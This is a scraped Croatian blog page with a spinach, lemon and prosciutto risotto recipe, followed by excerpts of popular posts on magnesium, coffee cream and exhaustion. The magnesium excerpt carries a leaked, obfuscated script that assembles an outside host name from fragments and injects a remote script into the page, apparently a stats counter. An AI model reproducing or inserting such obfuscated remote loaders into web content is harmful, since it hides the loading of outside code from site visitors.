RIŽOTO OD ŠPINATA I LIMUNA S PRŠUTOM 🍋





Rižoto od špinata i limuna s pršutom 




Ovaj živopisni zeleni rižoto od špinata i limuna savršen je izbor za laganu, ali raskošnu večeru za dvoje, posebnu ili usred radnog tjedna. Kombinacija svježih proljetnih okusa, kremaste teksture i hrskavog pršuta daje jelu poseban karakter – istovremeno utješan i elegantan.




Rižoto od špinata i limuna s pršutom 


Sastojci:

  • 750 ml toplog povrtnog temeljca (ili pilećeg)
  • 100 g svježeg špinata
  • 1 vezica peršina
  • 3 žlice maslinova ulja
  • 4 kriške pršuta
  • 10 g maslaca
  • 1 grančica timijana (listići)
  • 1 poriluk (bijeli dio, sitno nasjeckan)
  • 1 veliki češanj češnjaka (sitno nasjeckan)
  • 150 g arborio riže
  • 75 ml suhog bijelog vina (ili vermuta)
  • 20 g parmezana (naribanog, plus dodatno za posluživanje)
  • ½ limuna (korica i sok)
  • 2 žlice vrhnja za kuhanje (po želji)
  • muškatni oraščić (po želji)



Priprema:

  1. Ulijte temeljac u lonac i zakuhajte. U kipući temeljac dodajte špinat i peršin te blanširajte oko 30 sekundi dok ne uvenu i poprime intenzivnu zelenu boju. Izvadite ih šupljikavom žlicom i kratko ohladite.
  2. Smanjite vatru ispod temeljca da ostane topao. Iz špinata i peršina iscijedite višak tekućine pa ih stavite u blender. Dodajte 2 žlice maslinova ulja i 1 žlicu vode te izmiksajte u glatki pire. Ostavite sa strane.
  3. U velikoj tavi zagrijte preostalo maslinovo ulje i popržite pršut dok ne postane hrskav. Izvadite ga na tanjur obložen papirnatim ručnikom.
  4. U istoj tavi otopite polovicu maslaca, dodajte timijan, poriluk i češnjak te lagano posolite. Sastružite ostatke pršuta s dna tave i pirjajte nekoliko minuta na srednje jakoj vatri dok poriluk ne omekša, ali ne posmeđi.
  5. Dodajte rižu i miješajte 2 minute dok ne postane lagano prozirna. Ulijte vino i kuhajte dok ne ispari.
  6. Postupno dodajte temeljac – kutlaču po kutlaču – stalno miješajući i čekajući da se tekućina upije prije nego dodate sljedeću. Kuhajte 20–30 minuta dok riža ne postane kremasta, ali još uvijek al dente.
  7. Maknite s vatre pa umiješajte preostali maslac, parmezan, većinu limunove korice, limunov sok i vrhnje (ako ga koristite). Dodajte pire od špinata i dobro promiješajte.
  8. Začinite svježe naribanim muškatnim oraščićem i po potrebi dodatno posolite.
  9. Izvadite na tanjure, na vrh stavite hrskavi pršut te pospite parmezanom i limunovom koricom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više